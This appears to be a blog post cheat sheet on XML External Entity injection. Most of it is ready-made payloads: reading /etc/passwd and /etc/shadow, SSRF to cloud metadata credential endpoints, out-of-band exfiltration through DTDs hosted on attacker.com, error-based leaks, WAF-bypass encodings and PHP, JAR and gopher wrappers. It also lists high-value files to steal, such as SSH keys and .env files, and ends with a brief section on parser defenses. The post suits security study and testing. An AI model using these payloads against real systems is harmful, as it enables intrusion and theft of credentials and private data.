Post

XXE (XML External Entity) Injection

XXE (XML External Entity) Injection

XML Entity Basics

XML Custom/Internal Entities

1
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Usage: &myentity; will be replaced with “my entity value”

XML External Entities

1
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Usage: &ext; will be replaced with contents of the referenced file

XML Parameter Entities

1
<!DOCTYPE foo [ <!ENTITY % param "parameter entity value" > ]>

Usage: %param; (only usable within DTD)

XXE Attack Techniques

Basic File Retrieval

Original XML:

1
2
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Malicious XML:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

XXE for SSRF (Server-Side Request Forgery)

Internal Network Scanning

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Cloud Metadata Access

1
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>

Alternative IP Formats

1
2
3
4
5
6
7
8
<!-- Decimal notation -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://2852039166/"> ]>

<!-- Octal notation -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://0330.0250.0000.0001/"> ]>

<!-- Hex notation -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://0xA9FEA9FE/"> ]>

Advanced XXE Techniques

XInclude Attacks

For applications that accept XML input without a DTD or DOCTYPE, use XInclude:

1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Example in a form parameter:

1
2
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

XXE via File Upload

SVG file with XXE payload:

1
2
3
4
5
6
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Other file types supporting XML:

  • DOCX/XLSX (Microsoft Office)
  • PPTX
  • ODT (OpenOffice)
  • PDF (some versions)
  • XML-based image formats (SVG, SVGZ)

Blind XXE Techniques

Out-of-band Detection (OAST)

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Using Parameter Entities for Blind XXE

1
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Data Exfiltration (Out-of-band)

Host this DTD on attacker’s server (e.g., http://attacker.com/malicious.dtd):

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Then send this XXE payload to the victim:

1
2
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>

Error-based Data Exfiltration

Host this DTD on attacker’s server:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Then send this XXE payload:

1
2
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>

Leveraging Local DTD Files

Testing if a local DTD exists:

1
2
3
4
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Exploiting a local DTD entity (e.g., ISOamso):

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

XXE in Different Contexts

XXE via SOAP Request

1
2
3
4
5
6
<soap:Body>
    <foo>
        <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
        <bar>&xxe;</bar>
    </foo>
</soap:Body>

XXE via XML-RPC

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE methodCall [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<methodCall>
  <methodName>test</methodName>
  <params>
    <param>
      <value>&xxe;</value>
    </param>
  </params>
</methodCall>

XXE via RSS/Atom Feeds

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<rss version="2.0">
  <channel>
    <title>&xxe;</title>
  </channel>
</rss>

Bypassing WAF and Filters

Using UTF-16 Encoding

1
2
3
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Case Variation

1
<!DoCtYpE foo [ <!EnTiTy xxe SYSTEM "file:///etc/passwd"> ]>

Using Nested Entities

1
2
3
4
5
6
<!DOCTYPE foo [
<!ENTITY % a "<!ENTITY &#x25; b '<!ENTITY &#x26;#x25; c SYSTEM &#x27;file:///etc/passwd&#x27;>'>";
%a;
%b;
%c;
]>

XML Comments Evasion

1
2
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><!-- comment --><productId>&xxe;</productId></stockCheck>

Double Encoding

1
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64"> ]>

File Protocols and Wrappers

File Protocol Variations

1
2
3
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file://localhost/etc/passwd">
<!ENTITY xxe SYSTEM "file:/etc/passwd">

PHP Wrapper Exploitation

1
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Java JAR Protocol (for SSRF)

1
<!ENTITY xxe SYSTEM "jar:http://attacker.com/payload.jar!/file.txt">

Gopher Protocol (for SSRF to internal services)

1
<!ENTITY xxe SYSTEM "gopher://internal-service:25/1HELO%20attacker.com">

Common Files to Target

Linux Files

1
2
3
4
5
6
7
8
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/home/[username]/.ssh/id_rsa
/proc/self/environ
/var/www/html/index.php
/var/log/apache2/access.log

Windows Files

1
2
3
4
5
C:\Windows\Win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Users\[username]\.ssh\id_rsa
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\xampp\apache\conf\httpd.conf

Application Configuration Files

1
2
3
4
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.env
/app/config/parameters.yml

XXE Defenses

Disable External Entities

For PHP:

1
libxml_disable_entity_loader(true);

For Java:

1
2
3
4
5
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

For Python:

1
2
3
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
etree.parse(xml_file, parser)

Use Non-XML Formats

When possible, use JSON instead of XML for data exchange

Validate and Sanitize XML Input

  • Strip DOCTYPE declarations
  • Validate XML against a known schema
  • Use XML parsers that don’t process external entities by default

Common XXE Testing Tools

  • XMLDecoder
  • XXEinjector
  • OWASP ZAP XXE Scanner
  • Burp Suite Professional (requires manual testing)

References

This post is licensed under CC BY 4.0 by the author.